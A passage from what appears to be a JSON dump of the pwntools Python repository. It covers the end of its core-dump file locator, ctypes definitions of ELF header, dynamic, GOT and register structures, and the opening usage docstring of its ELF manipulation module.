    %d  dump mode—same as value returned by prctl(2) PR_GET_DUMPABLE (since Linux 3.7)\n        %e  executable filename (without path prefix)\n        %E  pathname of executable, with slashes ('/') replaced by exclamation marks ('!') (since Linux 3.0).\n        %g  (numeric) real GID of dumped process\n        %h  hostname (same as nodename returned by uname(2))\n        %i  TID of thread that triggered core dump, as seen in the PID namespace in which the thread resides (since Linux 3.18)\n        %I  TID of thread that triggered core dump, as seen in the initial PID namespace (since Linux 3.18)\n        %p  PID of dumped process, as seen in the PID namespace in which the process resides\n        %P  PID of dumped process, as seen in the initial PID namespace (since Linux 3.12)\n        %s  number of signal causing dump\n        %t  time of dump, expressed as seconds since the Epoch, 1970-01-01 00:00:00 +0000 (UTC)\n        %u  (numeric) real UID of dumped process\n        \"\"\"\n        replace = {\n            '%%': '%',\n            '%e': os.path.basename(self.interpreter) or self.basename,\n            '%E': self.exe.replace('/', '!'),\n            '%g': str(self.gid),\n            '%h': socket.gethostname(),\n            '%i': str(self.pid),\n            '%I': str(self.pid),\n            '%p': str(self.pid),\n            '%P': str(self.pid),\n            '%s': str(-self.process.poll()),\n            '%u': str(self.uid)\n        }\n        replace = dict((re.escape(k), v) for k, v in replace.items())\n        pattern = re.compile(\"|\".join(replace.keys()))\n        if not hasattr(self.kernel_core_pattern, 'encode'):\n            self.kernel_core_pattern = self.kernel_core_pattern.decode('utf-8')\n        core_pattern = self.kernel_core_pattern\n        corefile_path = pattern.sub(lambda m: replace[re.escape(m.group(0))], core_pattern)\n\n        if self.kernel_core_uses_pid:\n            corefile_path += '.%i' % self.pid\n\n        if os.pathsep not in corefile_path:\n            corefile_path = os.path.join(self.cwd, corefile_path)\n\n        log.debug(\"Trying corefile_path: %r\" % corefile_path)\n\n        try:\n            self.read(corefile_path)\n            return corefile_path\n        except Exception as e:\n            log.debug(\"No dice: %s\" % e)\n\n    def qemu_corefile(self):\n        \"\"\"qemu_corefile() -> str\n\n        Retrieves the path to a QEMU core dump.\n        \"\"\"\n\n        # QEMU doesn't follow anybody else's rules\n        # https://github.com/qemu/qemu/blob/stable-2.6/linux-user/elfload.c#L2710-L2744\n        #\n        #     qemu_<basename-of-target-binary>_<date>-<time>_<pid>.core\n        #\n        # Note that we don't give any fucks about the date and time, since the PID\n        # should be unique enough that we can just glob.\n        corefile_name = 'qemu_{basename}_*_{pid}.core'\n\n        # Format the name\n        corefile_name = corefile_name.format(basename=self.basename,\n                                             pid=self.pid)\n\n        # Get the full path\n        corefile_path = os.path.join(self.cwd, corefile_name)\n\n        log.debug(\"Trying corefile_path: %r\" % corefile_path)\n\n        # Glob all of them, return the *most recent* based on numeric sort order.\n        for corefile in sorted(glob.glob(corefile_path), reverse=True):\n            return corefile\n\n    def apport_coredump(self):\n        \"\"\"Find new-style apport coredump of executables not belonging\n        to a system package\n        \"\"\"\n        # Now Ubuntu, which is the most silly distro of all, doesn't follow\n        # anybody else's rules either...\n        # ...and it uses apport FROM SOME OTHER REPO THAN THE DOCS SAY\n        # Hey, thanks for making our lives easier, Canonical :----)\n        # Seriously, why is Ubuntu even considered to be the default distro\n        # on GH Actions?\n        #\n        #     core.<_path_to_target_binary>.<uid>.<boot_id>.<pid>.<timestamp>\n        #\n        # Note that we don't give any fucks about the timestamp, since the PID\n        # should be unique enough that we can just glob.\n\n        boot_id = read('/proc/sys/kernel/random/boot_id').strip().decode()\n\n        # Use the absolute path of the executable\n        # Apport uses the executable's path to determine the core dump filename\n        #\n        # Reference source:\n        # https://github.com/canonical/apport/blob/4bbb179b8f92989bf7c1ee3692074f35d70ef3e8/data/apport#L110\n        # https://github.com/canonical/apport/blob/4bbb179b8f92989bf7c1ee3692074f35d70ef3e8/apport/fileutils.py#L599\n        #\n        # Apport calls `get_core_path` with `options.executable_path`, which corresponds to\n        # the executable's pathname, as specified by the `%E` placeholder\n        # in the core pattern (see `man core` and `apport --help`).\n        path = os.path.abspath(self.exe).replace('/', '_').replace('.', '_')\n\n        # Format the name\n        corefile_name = 'core.{path}.{uid}.{boot_id}.{pid}.*'.format(\n            path=path,\n            uid=self.uid,\n            boot_id=boot_id,\n            pid=self.pid,\n        )\n\n        # Get the full path\n        corefile_path = os.path.join('/var/lib/apport/coredump', corefile_name)\n\n        log.debug(\"Trying corefile_path: %r\" % corefile_path)\n\n        # Glob all of them, return the *most recent* based on numeric sort order.\n        for corefile in sorted(glob.glob(corefile_path), reverse=True):\n            return corefile\n\n    def binfmt_lookup(self):\n        \"\"\"Parses /proc/sys/fs/binfmt_misc to find the interpreter for a file\"\"\"\n\n        binfmt_misc = '/proc/sys/fs/binfmt_misc'\n\n        if not isinstance(self.process, process):\n            log.debug(\"Not a process\")\n            return ''\n\n        if self.process._qemu:\n            return self.process._qemu\n\n        if not os.path.isdir(binfmt_misc):\n            log.debug(\"No binfmt_misc dir\")\n            return ''\n\n        exe_data = bytearray(self.read(self.exe))\n\n        for entry in os.listdir(binfmt_misc):\n            keys = {}\n\n            path = os.path.join(binfmt_misc, entry)\n\n            try:\n                data = self.read(path).decode()\n            except Exception:\n                continue\n\n            for line in data.splitlines():\n                try:\n                    k,v = line.split(None)\n                except ValueError:\n                    continue\n\n                keys[k] = v\n\n            if 'magic' not in keys:\n                continue\n\n            magic = bytearray(unhex(keys['magic']))\n            mask  = bytearray(b'\\xff' * len(magic))\n\n            if 'mask' in keys:\n                mask = bytearray(unhex(keys['mask']))\n\n            for i, mag in enumerate(magic):\n                if exe_data[i] & mask[i] != mag:\n                    break\n            else:\n                return keys['interpreter']\n\n        return ''\n"
  },
  {
    "path": "pwnlib/elf/datatypes.py",
    "content": "#!/usr/bin/env python3\n#  mayhem/datatypes/elf.py\n#\n#  Redistribution and use in source and binary forms, with or without\n#  modification, are permitted provided that the following conditions are\n#  met:\n#\n#  * Redistributions of source code must retain the above copyright\n#    notice, this list of conditions and the following disclaimer.\n#  * Redistributions in binary form must reproduce the above\n#    copyright notice, this list of conditions and the following disclaimer\n#    in the documentation and/or other materials provided with the\n#    distribution.\n#  * Neither the name of the project nor the names of its\n#    contributors may be used to endorse or promote products derived from\n#    this software without specific prior written permission.\n#\n#  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n#  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n#  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n#  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n#  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n#  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n#  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n#  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n#  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n#  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n#  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\nimport ctypes\n\nElf32_Addr = ctypes.c_uint32\nElf32_Half = ctypes.c_uint16\nElf32_Off = ctypes.c_uint32\nElf32_Sword = ctypes.c_int32\nElf32_Word = ctypes.c_uint32\n\nElf64_Addr = ctypes.c_uint64\nElf64_Half = ctypes.c_uint16\nElf64_SHalf = ctypes.c_int16\nElf64_Off = ctypes.c_uint64\nElf64_Sword = ctypes.c_int32\nElf64_Word = ctypes.c_uint32\nElf64_Xword = ctypes.c_uint64\nElf64_Sxword = ctypes.c_int64\n\n\nAT_CONSTANTS = {\n    0 : 'AT_NULL',      # /* End of vector */\n    1 : 'AT_IGNORE',    # /* Entry should be ignored */\n    2 : 'AT_EXECFD',    # /* File descriptor of program */\n    3 : 'AT_PHDR',      # /* Program headers for program */\n    4 : 'AT_PHENT',     # /* Size of program header entry */\n    5 : 'AT_PHNUM',     # /* Number of program headers */\n    6 : 'AT_PAGESZ',    # /* System page size */\n    7 : 'AT_BASE',      # /* Base address of interpreter */\n    8 : 'AT_FLAGS',     # /* Flags */\n    9 : 'AT_ENTRY',     # /* Entry point of program */\n    10: 'AT_NOTELF',    # /* Program is not ELF */\n    11: 'AT_UID',       # /* Real uid */\n    12: 'AT_EUID',      # /* Effective uid */\n    13: 'AT_GID',       # /* Real gid */\n    14: 'AT_EGID',      # /* Effective gid */\n    15: 'AT_PLATFORM',  # /* String identifying platform */\n    16: 'AT_HWCAP',     # /* Machine dependent hints about processor capabilities */\n    17: 'AT_CLKTCK',    # /* Frequency of times() */\n    18: 'AT_FPUCW',\n    19: 'AT_DCACHEBSIZE',\n    20: 'AT_ICACHEBSIZE',\n    21: 'AT_UCACHEBSIZE',\n    22: 'AT_IGNOREPPC',\n    23: 'AT_SECURE',\n    24: 'AT_BASE_PLATFORM', # String identifying real platforms\n    25: 'AT_RANDOM',    # Address of 16 random bytes\n    31: 'AT_EXECFN',    # Filename of executable\n    32: 'AT_SYSINFO',\n    33: 'AT_SYSINFO_EHDR',\n    34: 'AT_L1I_CACHESHAPE',\n    35: 'AT_L1D_CACHESHAPE',\n    36: 'AT_L2_CACHESHAPE',\n    37: 'AT_L3_CACHESHAPE',\n}\n\nclass constants:\n    EI_MAG0                 = 0\n    EI_MAG1                 = 1\n    EI_MAG2                 = 2\n    EI_MAG3                 = 3\n    EI_CLASS                = 4\n    EI_DATA                 = 5\n    EI_VERSION              = 6\n    EI_OSABI                = 7\n    EI_ABIVERSION           = 8\n    EI_PAD                  = 9\n    EI_NIDENT               = 16\n\n    ELFMAG0                 = 0x7f\n    ELFMAG1                 = ord('E')\n    ELFMAG2                 = ord('L')\n    ELFMAG3                 = ord('F')\n\n    ELFCLASSNONE            = 0\n    ELFCLASS32              = 1\n    ELFCLASS64              = 2\n\n    ELFDATANONE             = 0\n    ELFDATA2LSB             = 1\n    ELFDATA2MSB             = 2\n\n    # Legal values for Elf_Phdr.p_type (segment type).\n    PT_NULL                 = 0\n    PT_LOAD                 = 1\n    PT_DYNAMIC              = 2\n    PT_INTERP               = 3\n    PT_NOTE                 = 4\n    PT_SHLIB                = 5\n    PT_PHDR                 = 6\n    PT_TLS                  = 7\n\n    # Legal values for Elf_Ehdr.e_type (object file type).\n    ET_NONE                 = 0\n    ET_REL                  = 1\n    ET_EXEC                 = 2\n    ET_DYN                  = 3\n    ET_CORE                 = 4\n\n    # Legal values for Elf_Dyn.d_tag (dynamic entry type).\n    DT_NULL                 = 0\n    DT_NEEDED               = 1\n    DT_PLTRELSZ             = 2\n    DT_PLTGOT               = 3\n    DT_HASH                 = 4\n    DT_STRTAB               = 5\n    DT_SYMTAB               = 6\n    DT_RELA                 = 7\n    DT_RELASZ               = 8\n    DT_RELAENT              = 9\n    DT_STRSZ                = 10\n    DT_SYMENT               = 11\n    DT_INIT                 = 12\n    DT_FINI                 = 13\n    DT_SONAME               = 14\n    DT_RPATH                = 15\n    DT_SYMBOLIC             = 16\n    DT_REL                  = 17\n    DT_RELSZ                = 18\n    DT_RELENT               = 19\n    DT_PLTREL               = 20\n    DT_DEBUG                = 21\n    DT_TEXTREL              = 22\n    DT_JMPREL               = 23\n    DT_ENCODING             = 32\n\n    # Legal values for Elf_Shdr.sh_type (section type).\n    SHT_NULL                = 0\n    SHT_PROGBITS            = 1\n    SHT_SYMTAB              = 2\n    SHT_STRTAB              = 3\n    SHT_RELA                = 4\n    SHT_HASH                = 5\n    SHT_DYNAMIC             = 6\n    SHT_NOTE                = 7\n    SHT_NOBITS              = 8\n    SHT_REL                 = 9\n    SHT_SHLIB               = 10\n    SHT_DYNSYM              = 11\n    SHT_NUM                 = 12\n\n    # Legal values for ST_TYPE subfield of Elf_Sym.st_info (symbol type).\n    STT_NOTYPE              = 0\n    STT_OBJECT              = 1\n    STT_FUNC                = 2\n    STT_SECTION             = 3\n    STT_FILE                = 4\n    STT_COMMON              = 5\n    STT_TLS                 = 6\n\n    #\n    # Notes used in ET_CORE. Architectures export some of the arch register sets\n    # using the corresponding note types via the PTRACE_GETREGSET and\n    # PTRACE_SETREGSET requests.\n    #\n    NT_PRSTATUS             = 1\n    NT_PRFPREG              = 2\n    NT_PRPSINFO             = 3\n    NT_TASKSTRUCT           = 4\n    NT_AUXV                 = 6\n    #\n    # Note to userspace developers: size of NT_SIGINFO note may increase\n    # in the future to accommodate more fields, don't assume it is fixed!\n    #\n    NT_SIGINFO              = 0x53494749\n    NT_FILE                 = 0x46494c45\n    NT_PRXFPREG             = 0x46e62b7f\n    NT_PPC_VMX              = 0x100\n    NT_PPC_SPE              = 0x101\n    NT_PPC_VSX              = 0x102\n    NT_386_TLS              = 0x200\n    NT_386_IOPERM           = 0x201\n    NT_X86_XSTATE           = 0x202\n    NT_S390_HIGH_GPRS       = 0x300\n    NT_S390_TIMER           = 0x301\n    NT_S390_TODCMP          = 0x302\n    NT_S390_TODPREG         = 0x303\n    NT_S390_CTRS            = 0x304\n    NT_S390_PREFIX          = 0x305\n    NT_S390_LAST_BREAK      = 0x306\n    NT_S390_SYSTEM_CALL     = 0x307\n    NT_S390_TDB             = 0x308\n    NT_ARM_VFP              = 0x400\n    NT_ARM_TLS              = 0x401\n    NT_ARM_HW_BREAK         = 0x402\n    NT_ARM_HW_WATCH         = 0x403\n    NT_METAG_CBUF           = 0x500\n    NT_METAG_RPIPE          = 0x501\n    NT_METAG_TLS            = 0x502\n\n    AT_NULL                 = 0\n    AT_IGNORE               = 1\n    AT_EXECFD               = 2\n    AT_PHDR                 = 3\n    AT_PHENT                = 4\n    AT_PHNUM                = 5\n    AT_PAGESZ               = 6\n    AT_BASE                 = 7\n    AT_FLAGS                = 8\n    AT_ENTRY                = 9\n    AT_NOTELF               = 10\n    AT_UID                  = 11\n    AT_EUID                 = 12\n    AT_GID                  = 13\n    AT_EGID                 = 14\n    AT_PLATFORM             = 15\n    AT_HWCAP                = 16\n    AT_CLKTCK               = 17\n    AT_FPUCW                = 18\n    AT_DCACHEBSIZE          = 19\n    AT_ICACHEBSIZE          = 20\n    AT_UCACHEBSIZE          = 21\n    AT_IGNOREPPC            = 22\n    AT_SECURE               = 23\n    AT_BASE_PLATFORM        = 24\n    AT_RANDOM               = 25\n    AT_EXECFN               = 31\n    AT_SYSINFO              = 32\n    AT_SYSINFO_EHDR         = 33\n    AT_L1I_CACHESHAPE       = 34\n    AT_L1D_CACHESHAPE       = 35\n    AT_L2_CACHESHAPE        = 36\n    AT_L3_CACHESHAPE        = 37\n\n    # Legal flags used in the d_val field of the DT_FLAGS dynamic entry.\n    DF_ORIGIN               = 0x01\n    DF_SYMBOLIC             = 0x02\n    DF_TEXTREL              = 0x04\n    DF_BIND_NOW             = 0x08\n    DF_STATIC_TLS           = 0x10\n\n    # Legal flags used in the d_val field of the DT_FLAGS_1 dynamic entry.\n    DF_1_NOW                = 0x00000001\n    DF_1_GLOBAL             = 0x00000002\n    DF_1_GROUP              = 0x00000004\n    DF_1_NODELETE           = 0x00000008\n    DF_1_LOADFLTR           = 0x00000010\n    DF_1_INITFIRST          = 0x00000020\n    DF_1_NOOPEN             = 0x00000040\n    DF_1_ORIGIN             = 0x00000080\n    DF_1_DIRECT             = 0x00000100\n    DF_1_TRANS              = 0x00000200\n    DF_1_INTERPOSE          = 0x00000400\n    DF_1_NODEFLIB           = 0x00000800\n    DF_1_NODUMP             = 0x00001000\n    DF_1_CONFALT            = 0x00002000\n    DF_1_ENDFILTEE          = 0x00004000\n    DF_1_DISPRELDNE         = 0x00008000\n    DF_1_DISPRELPND         = 0x00010000\n    DF_1_NODIRECT           = 0x00020000\n    DF_1_IGNMULDEF          = 0x00040000\n    DF_1_NOKSYMS            = 0x00080000\n    DF_1_NOHDR              = 0x00100000\n    DF_1_EDITED             = 0x00200000\n    DF_1_NORELOC            = 0x00400000\n    DF_1_SYMINTPOSE         = 0x00800000\n    DF_1_GLOBAUDIT          = 0x01000000\n    DF_1_SINGLETON          = 0x02000000\n\n\nclass Elf32_Ehdr(ctypes.Structure):\n    _fields_ = [(\"e_ident\", (ctypes.c_ubyte * 16)),\n                (\"e_type\", Elf32_Half),\n                (\"e_machine\", Elf32_Half),\n                (\"e_version\", Elf32_Word),\n                (\"e_entry\", Elf32_Addr),\n                (\"e_phoff\", Elf32_Off),\n                (\"e_shoff\", Elf32_Off),\n                (\"e_flags\", Elf32_Word),\n                (\"e_ehsize\", Elf32_Half),\n                (\"e_phentsize\", Elf32_Half),\n                (\"e_phnum\", Elf32_Half),\n                (\"e_shentsize\", Elf32_Half),\n                (\"e_shnum\", Elf32_Half),\n                (\"e_shstrndx\", Elf32_Half),]\n\nclass Elf64_Ehdr(ctypes.Structure):\n    _fields_ = [(\"e_ident\", (ctypes.c_ubyte * 16)),\n                (\"e_type\", Elf64_Half),\n                (\"e_machine\", Elf64_Half),\n                (\"e_version\", Elf64_Word),\n                (\"e_entry\", Elf64_Addr),\n                (\"e_phoff\", Elf64_Off),\n                (\"e_shoff\", Elf64_Off),\n                (\"e_flags\", Elf64_Word),\n                (\"e_ehsize\", Elf64_Half),\n                (\"e_phentsize\", Elf64_Half),\n                (\"e_phnum\", Elf64_Half),\n                (\"e_shentsize\", Elf64_Half),\n                (\"e_shnum\", Elf64_Half),\n                (\"e_shstrndx\", Elf64_Half),]\n\nclass Elf32_Phdr(ctypes.Structure):\n    _fields_ = [(\"p_type\", Elf32_Word),\n                (\"p_offset\", Elf32_Off),\n                (\"p_vaddr\", Elf32_Addr),\n                (\"p_paddr\", Elf32_Addr),\n                (\"p_filesz\", Elf32_Word),\n                (\"p_memsz\", Elf32_Word),\n                (\"p_flags\", Elf32_Word),\n                (\"p_align\", Elf32_Word),]\n\nclass Elf64_Phdr(ctypes.Structure):\n    _fields_ = [(\"p_type\", Elf64_Word),\n                (\"p_flags\", Elf64_Word),\n                (\"p_offset\", Elf64_Off),\n                (\"p_vaddr\", Elf64_Addr),\n                (\"p_paddr\", Elf64_Addr),\n                (\"p_filesz\", Elf64_Xword),\n                (\"p_memsz\", Elf64_Xword),\n                (\"p_align\", Elf64_Xword),]\n\nclass Elf32_Shdr(ctypes.Structure):\n    _fields_ = [(\"sh_name\", Elf32_Word),\n                (\"sh_type\", Elf32_Word),\n                (\"sh_flags\", Elf32_Word),\n                (\"sh_addr\", Elf32_Addr),\n                (\"sh_offset\", Elf32_Off),\n                (\"sh_size\", Elf32_Word),\n                (\"sh_link\", Elf32_Word),\n                (\"sh_info\", Elf32_Word),\n                (\"sh_addralign\", Elf32_Word),\n                (\"sh_entsize\", Elf32_Word),]\n\nclass Elf64_Shdr(ctypes.Structure):\n    _fields_ = [(\"sh_name\", Elf64_Word),\n                (\"sh_type\", Elf64_Word),\n                (\"sh_flags\", Elf64_Xword),\n                (\"sh_addr\", Elf64_Addr),\n                (\"sh_offset\", Elf64_Off),\n                (\"sh_size\", Elf64_Xword),\n                (\"sh_link\", Elf64_Word),\n                (\"sh_info\", Elf64_Word),\n                (\"sh_addralign\", Elf64_Xword),\n                (\"sh_entsize\", Elf64_Xword),]\n\nclass _U__Elf32_Dyn(ctypes.Union):\n    _fields_ = [(\"d_val\", Elf32_Sword),\n                (\"d_ptr\", Elf32_Addr),]\n\nclass Elf32_Dyn(ctypes.Structure):\n    _anonymous_ = (\"d_un\",)\n    _fields_ = [(\"d_tag\", Elf32_Sword),\n                (\"d_un\", _U__Elf32_Dyn),]\n\nclass _U__Elf64_Dyn(ctypes.Union):\n    _fields_ = [(\"d_val\", Elf64_Xword),\n                (\"d_ptr\", Elf64_Addr),]\n\nclass Elf64_Dyn(ctypes.Structure):\n    _anonymous_ = (\"d_un\",)\n    _fields_ = [(\"d_tag\", Elf64_Sxword),\n                (\"d_un\", _U__Elf64_Dyn),]\n\nclass Elf32_Sym(ctypes.Structure):\n    _fields_ = [(\"st_name\", Elf32_Word),\n                (\"st_value\", Elf32_Addr),\n                (\"st_size\", Elf32_Word),\n                (\"st_info\", ctypes.c_ubyte),\n                (\"st_other\", ctypes.c_ubyte),\n                (\"st_shndx\", Elf32_Half),]\n\nclass Elf64_Sym(ctypes.Structure):\n    _fields_ = [(\"st_name\", Elf64_Word),\n                (\"st_info\", ctypes.c_ubyte),\n                (\"st_other\", ctypes.c_ubyte),\n                (\"st_shndx\", Elf64_Half),\n                (\"st_value\", Elf64_Addr),\n                (\"st_size\", Elf64_Xword),]\n\nclass Elf64_Rel(ctypes.Structure):\n    _fields_ = [(\"r_offset\", Elf64_Addr),\n                (\"r_info\", Elf64_Xword),\n                (\"r_addend\", Elf64_Sxword),]\n\nclass Elf32_Rel(ctypes.Structure):\n    _fields_ = [(\"r_offset\", Elf32_Addr),\n                (\"r_info\", Elf32_Word),]\n\nclass Elf32_Link_Map(ctypes.Structure):\n    _fields_ = [(\"l_addr\", Elf32_Addr),\n                (\"l_name\", Elf32_Addr),\n                (\"l_ld\", Elf32_Addr),\n                (\"l_next\", Elf32_Addr),\n                (\"l_prev\", Elf32_Addr),]\n\nclass Elf64_Link_Map(ctypes.Structure):\n    _fields_ = [(\"l_addr\", Elf64_Addr),\n                (\"l_name\", Elf64_Addr),\n                (\"l_ld\",   Elf64_Addr),\n                (\"l_next\", Elf64_Addr),\n                (\"l_prev\", Elf64_Addr),]\n\n\n#\n# Additions below here by Zach Riggle for pwntool\n#\n# See the routine elf_machine_runtime_setup for the relevant architecture\n# for the layout of the GOT.\n#\n# https://chromium.googlesource.com/chromiumos/third_party/glibc/+/master/sysdeps/x86/dl-machine.h\n# https://chromium.googlesource.com/chromiumos/third_party/glibc/+/master/sysdeps/x86_64/dl-machine.h\n# https://fossies.org/dox/glibc-2.20/aarch64_2dl-machine_8h_source.html#l00074\n# https://fossies.org/dox/glibc-2.20/powerpc32_2dl-machine_8c_source.html#l00203\n#\n# For now, these are defined for x86 and x64\n#\nchar = ctypes.c_char\nbyte = ctypes.c_byte\n\nclass Elf_eident(ctypes.Structure):\n    _fields_ = [('EI_MAG',char*4),\n                ('EI_CLASS',byte),\n                ('EI_DATA',byte),\n                ('EI_VERSION',byte),\n                ('EI_OSABI',byte),\n                ('EI_ABIVERSION',byte),\n                ('EI_PAD', byte*(16-9))]\n\nclass Elf_i386_GOT(ctypes.Structure):\n    _fields_ = [(\"jmp\", Elf32_Addr),\n                (\"linkmap\", Elf32_Addr),\n                (\"dl_runtime_resolve\", Elf32_Addr)]\nclass Elf_x86_64_GOT(ctypes.Structure):\n    _fields_ = [(\"jmp\", Elf64_Addr),\n                (\"linkmap\", Elf64_Addr),\n                (\"dl_runtime_resolve\", Elf64_Addr)]\n\nclass Elf_HashTable(ctypes.Structure):\n    _fields_ = [('nbucket', Elf32_Word),\n                ('nchain', Elf32_Word),]\n              # ('bucket', nbucket * Elf32_Word),\n              # ('chain',  nchain * Elf32_Word)]\n\n# Docs: http://dyncall.org/svn/dyncall/tags/r0.4/dyncall/dynload/dynload_syms_elf.c\nclass GNU_HASH(ctypes.Structure):\n    _fields_ = [('nbuckets',  Elf32_Word),\n                ('symndx',    Elf32_Word),\n                ('maskwords', Elf32_Word),\n                ('shift2',    Elf32_Word)]\n\nclass Elf32_r_debug(ctypes.Structure):\n    _fields_ = [('r_version', Elf32_Word),\n                ('r_map', Elf32_Addr)]\n\nclass Elf64_r_debug(ctypes.Structure):\n    _fields_ = [('r_version', Elf32_Word),\n                ('r_map', Elf64_Addr)]\n\nconstants.DT_GNU_HASH = 0x6ffffef5\nconstants.STN_UNDEF   = 0\n\npid_t = ctypes.c_uint32\n\nclass elf_siginfo(ctypes.Structure):\n    _fields_ = [('si_signo', ctypes.c_int32),\n                ('si_code', ctypes.c_int32),\n                ('si_errno', ctypes.c_int32)]\n\nclass timeval32(ctypes.Structure):\n    _fields_ = [('tv_sec', ctypes.c_int32),\n                ('tv_usec', ctypes.c_int32),]\n\nclass timeval64(ctypes.Structure):\n    _fields_ = [('tv_sec', ctypes.c_int64),\n                ('tv_usec', ctypes.c_int64),]\n\n# See linux/elfcore.h\ndef generate_prstatus_common(size, regtype):\n    c_long = ctypes.c_uint32 if size==32 else ctypes.c_uint64\n    timeval = timeval32 if size==32 else timeval64\n\n    return [('pr_info', elf_siginfo),\n            ('pr_cursig', ctypes.c_int16),\n            ('pr_sigpend', c_long),\n            ('pr_sighold', c_long),\n            ('pr_pid', pid_t),\n            ('pr_ppid', pid_t),\n            ('pr_pgrp', pid_t),\n            ('pr_sid', pid_t),\n            ('pr_utime', timeval),\n            ('pr_stime', timeval),\n            ('pr_cutime', timeval),\n            ('pr_cstime', timeval),\n            ('pr_reg', regtype),\n            ('pr_fpvalid', ctypes.c_uint32)\n            ]\n\n# See i386-linux-gnu/sys/user.h\nclass user_regs_struct_i386(ctypes.Structure):\n    _fields_ = [(name, ctypes.c_uint32) for name in [\n                'ebx',\n                'ecx',\n                'edx',\n                'esi',\n                'edi',\n                'ebp',\n                'eax',\n                'xds',\n                'xes',\n                'xfs',\n                'xgs',\n                'orig_eax',\n                'eip',\n                'xcs',\n                'eflags',\n                'esp',\n                'xss',\n                ]]\n\n\nassert ctypes.sizeof(user_regs_struct_i386) == 0x44\n\n\n# See i386-linux-gnu/sys/user.h\nclass user_regs_struct_amd64(ctypes.Structure):\n    _fields_ = [(name, ctypes.c_uint64) for name in [\n                'r15',\n                'r14',\n                'r13',\n                'r12',\n                'rbp',\n                'rbx',\n                'r11',\n                'r10',\n                'r9',\n                'r8',\n                'rax',\n                'rcx',\n                'rdx',\n                'rsi',\n                'rdi',\n                'orig_rax',\n                'rip',\n                'cs',\n                'eflags',\n                'rsp',\n                'ss',\n                'fs_base',\n                'gs_base',\n                'ds',\n                'es',\n                'fs',\n                'gs',\n                ]]\n\nassert ctypes.sizeof(user_regs_struct_amd64) == 0xd8\n\nclass user_regs_struct_arm(ctypes.Structure):\n    _fields_ = [('r%i' % i, ctypes.c_uint32) for i in range(18)]\n\n    @property\n    def cpsr(self):\n        return self.r16\n    @property\n    def pc(self):\n        return self.r15\n    @property\n    def lr(self):\n        return self.r14\n    @property\n    def sp(self):\n        return self.r13\n    @property\n    def ip(self):\n        return self.r12\n    @property\n    def fp(self):\n        return self.r11\n\n\nclass user_regs_struct_aarch64(ctypes.Structure):\n    _fields_ = [('x%i' % i, ctypes.c_uint64) for i in range(31)] \\\n             + [('sp', ctypes.c_uint64),\n                ('pc', ctypes.c_uint64),\n                ('pstate', ctypes.c_uint64)]\n\n    @property\n    def lr(self):\n        return self.x30\n\n    def __getattr__(self, name):\n        if name.startswith('r'):\n            name = 'x' + name[1:]\n            return getattr(self, name) & 0xffffffff\n        raise AttributeError(name)\n\nclass elf_prstatus_i386(ctypes.Structure):\n    _fields_ = generate_prstatus_common(32, user_regs_struct_i386)\n\nassert ctypes.sizeof(elf_prstatus_i386) == 0x90\n\nclass elf_prstatus_amd64(ctypes.Structure):\n    _fields_ = generate_prstatus_common(64, user_regs_struct_amd64) \\\n             + [('padding', ctypes.c_uint32)]\n\nassert ctypes.sizeof(elf_prstatus_amd64) == 0x150\n\nclass elf_prstatus_arm(ctypes.Structure):\n    _fields_ = generate_prstatus_common(32, user_regs_struct_arm)\n\nclass elf_prstatus_aarch64(ctypes.Structure):\n    _fields_ = generate_prstatus_common(64, user_regs_struct_aarch64)\n\nclass Elf32_auxv_t(ctypes.Structure):\n    _fields_ = [('a_type', ctypes.c_uint32),\n                ('a_val', ctypes.c_uint32),]\nclass Elf64_auxv_t(ctypes.Structure):\n    _fields_ = [('a_type', ctypes.c_uint64),\n                ('a_val', ctypes.c_uint64),]\n\ndef generate_siginfo(int_t, long_t):\n    class siginfo_t(ctypes.Structure):\n        _fields_ = [('si_signo', int_t),\n                    ('si_errno', int_t),\n                    ('si_code', int_t),\n                    ('sigfault_addr', long_t),\n                    ('sigfault_trapno', int_t)]\n    return siginfo_t\n\nclass elf_siginfo_32(generate_siginfo(ctypes.c_uint32, ctypes.c_uint32)):\n    pass\n\nclass elf_siginfo_64(generate_siginfo(ctypes.c_uint32, ctypes.c_uint64)):\n    pass\n"
  },
  {
    "path": "pwnlib/elf/elf.py",
    "content": "\"\"\"Exposes functionality for manipulating ELF files\n\n\nStop hard-coding things!  Look them up at runtime with :mod:`pwnlib.elf`.\n\nExample Usage\n-------------\n\n.. code-block:: python\n\n    >>> e = ELF('/bin/cat')\n    >>> print(hex(e.address)) #doctest: +SKIP\n    0x400000\n    >>> print(hex(e.symbols['write'])) #doctest: +SKIP\n    0x401680\n    >>> print(hex(e.got['write'])) #doctest: +SKIP\n    0x60b070\n    >>> print(hex(e.plt['write'])) #doctest: +SKIP\n    0x401680\n\nYou can even patch and save the files.\n\n.. code-block:: python\n\n    >>> e = ELF('/bin/cat')\n    >>> e.read(e.address+1, 3)\n    b'ELF'\n    >>> e.asm(e.address, 'ret')\n    >>> e.save('/tmp/quiet-cat')\n    >>> disasm(open('/tmp/quiet-cat','rb').read(1))\n    '   0:   c3                      ret'\n\nAn ELF can also be created from in-memory bytes.\n\n    >>> bytes = open('/bin/cat', 'rb').read()\n    >>> e = ELF(bytes)\n    >>> e.read(e.address+1, 3)\n    b'ELF'\n    >>> e.asm(e.address, 'ret')\n    >>> e.save('/tmp/quiet-cat')\n    >>> disasm(open('/tmp/quiet-cat','rb').read(1))\n    '   0:   c3                      ret'\n\nModule Members\n--------------\n\"\"\"\nimport collections\nimport gzip\nimport mmap\nimport os\nimport re\nimport subprocess\nimport tempfile\n\nfrom io import BytesIO\n\nfrom collections import namedtuple, defaultdict\n\nfrom elftools.elf.constants import P_FLAGS\nfrom elftools.elf.constants import 